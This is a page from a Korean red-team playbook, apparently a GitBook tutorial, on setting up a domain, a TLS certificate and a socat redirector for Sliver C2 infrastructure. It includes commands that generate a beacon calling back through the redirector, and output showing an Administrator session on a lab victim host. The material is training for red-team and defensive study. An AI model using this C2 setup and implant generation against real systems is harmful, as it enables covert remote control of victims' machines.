📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  1. 인프라 (Infrastructure)
  2. old-네뷸라를 이용한 인프라 구축

도메인과 리다이렉터 설정

Previousold-네뷸라를 이용한 인프라 구축Next중립 공간 (클라우드) 설정

Last updated 2 years ago

팀 서버, 네뷸라, 그리고 클라우드가 설정됐으니 이제 도메인과 리다이렉터를 설정해주자. 먼저 구입한 도메인에서 A 레코드를 만들고, 서브도메인을 만들어준다. 이 서브도메인은 리다이렉터 서버를 가르킬 것이며, 동시에 C2 프레임워크 리스너의 도착 URL이 될것이다.

아래의 예시는 A 레코드에 info 라는 서브 도메인을 만든 뒤, 그 서브 도메인을 리다이렉터 서버의 공인 아이피주소를 가르키고 있다.

레코드를 생성 후 조금 기다려본다. 그 뒤 info.<도메인>을 DNS 요청해보면 리다이렉터의 아이피가 반환될것이다.

┌──(root㉿kali)-[/opt]
└─# nslookup
> info.koreambtihealth.com
Server:         192.168.40.2
Address:        192.168.40.2#53

Non-authoritative answer:
Name:   info.koreambtihealth.com
Address: <리다이렉터-주소> 
> 

TLS와 HTTPS

작전보안을 위해서 비컨과 C2 프레임워크, 그리고 리다이렉터는 모두 HTTPS로 소통할 것이다. 그러기 위해선 서버측에서 TLS 인증서가 필요하다. 도메인을 구입하고 DNS 설정이 모두 끝났으니 certbot 을 통해 TLS 인증서를 발급받자.

먼저 certbot을 설치한다.

sudo apt update -y 
sudo apt install certbot -y 

이후, 포트 80이 닫혀있는지 확인한다. 아마도 전에 실행중이던 socat이 계속 실행중일 것이기 때문에 ps faux 등으로 PID를 찾아낸 뒤 프로세스를 죽인다.

netstat -tulpna | grep -i 80 
ps faux 
sudo kill -9 <socat-pid>

이후 AWS로가 인바운드 HTTP 트래픽이 가능하도록 Security Group을 수정한다. EC2 > Security Groups > (Security Group ID) > Edit Inbound Rule > Allow TCP/80 from Anywhere IPv4 를 해주면 된다.

이후 certbot으로 TLS 인증서를 생성한다.

ubuntu@redirector01:~$ sudo certbot certonly --standalone 

Saving debug log to /var/log/letsencrypt/letsencrypt.log
Please enter the domain name(s) you would like on your certificate (comma and/or
space separated) (Enter 'c' to cancel): info.koreambtihealth.com
Requesting a certificate for info.koreambtihealth.com

Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/info.koreambtihealth.com/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/info.koreambtihealth.com/privkey.pem

< ... > 

ubuntu@redirector01:~$ 

인증서 파일들의 권한을 바꾼 뒤, 팀 서버로 SCP를 이용해 가져온다. 이후, 리다이렉터 서버에서는 인증서 파일을 삭제한다.

# 리다이렉터 서버 
sudo cp /etc/letsencrypt/live/info.koreambtihealth.com/fullchain.pem .
sudo cp /etc/letsencrypt/live/info.koreambtihealth.com/privkey.key .
sudo chown ubuntu:ubuntu fullchain.pem
sudo chown ubuntu:ubuntu privkey.key  

# 칼리 리눅스 팀 서버 
┌──(root㉿kali)-[~/redteam/certbot]
└─# scp -i /root/redteam/sshkeys/aws-redirector-ssh ubuntu@redirector:/home/ubuntu/fullchain.pem . 
fullchain.pem  
                                                                                              
┌──(root㉿kali)-[~/redteam/certbot]
└─# scp -i /root/redteam/sshkeys/aws-redirector-ssh ubuntu@redirector:/home/ubuntu/privkey.pem . 
privkey.pem 

인증서 발급이 끝났다면 다시 AWS로 가 인바운드 HTTP 트래픽과 관련된 Security Group을 바꿔준다. 실제 레드팀 작전에서 리다이렉트 서버의 80/443 포트에 접속할 호스트/프로세스들은 타겟 호스트를 감염시킨 레드팀의 비컨 프로세스 밖에 없다. 따라서, 타겟 공간의 IP주소들을 먼저 OSINT 등으로 확인한 뒤 그 IP주소들에서만 트래픽을 받도록 화이트리스트 하면 된다.

이 튜토리얼의 경우 공격자와 타겟 공간은 모두 본인 호스트의 VMWare Workstation이다. 따라서 본인의 집 아이피 주소만 인바운드 HTTP 80/443 화이트리스트 한다.

마지막으로 리다이렉터 서버에 socat 을 구축해 443 포트로 들어오는 모든 트래픽을 팀 서버로 redirect 시킨다.

sudo socat tcp-listen:443,reuseaddr,fork,bind=0.0.0.0 tcp:192.168.100.2:443

이제 슬리버 C2 서버와 비컨을 이용해 실제로 리다이렉트가 성공적으로 이뤄지는지 알아본다.

먼저 앞서 생성했던 certbot의 TLS 인증서들을 이용해 HTTPS 리스너를 생성한다.

https --cert /root/redteam/certbot/fullchain.pem --key /root/redteam/certbot/privkey.pem

이후 에이전트를 만든다.

generate --http https://info.koreambtihealth.com -s /root/redteam/hosting

타겟 호스트에 에이전트를 옮긴 뒤, 실행한다. 콜백이 리다이렉터를 지나 팀 서버까지 성공적으로 이뤄졌는지 확인한다.

[*] Session 00f9b25d ROYAL_LIER - 192.168.100.3:37726 (wkstn01) - windows/amd64 - Tue, 07 Jun 2022 21:54:44 EDT

sliver > sessions

 ID         Transport   Remote Address         Hostname   Username                Operating System   Health  
========== =========== ====================== ========== ======================= ================== =========
 00f9b25d   http(s)     192.168.100.3:37726    wkstn01    WKSTN01\Administrator   windows/amd64      [ALIVE] 

슬리버의 세션을 확인해보면 재밌게도 Remote Access 가 피해자 호스트의 아이피주소가 아닌, 리다이렉터의 네뷸라 VPN 아이피주소인 192.168.100.3 인 것을 볼 수 있다. 이는 피해자 -> 리다이렉터 -> 팀 서버 형식으로 트래픽이 진행됐기 때문이다. 따라서 슬리버 C2의 입장에서는 어쨌든 비컨이 192.168.100.3 리다이렉터 서버에서 온 것 처럼 보이니, 그렇게 출력하는 것이다.

🚧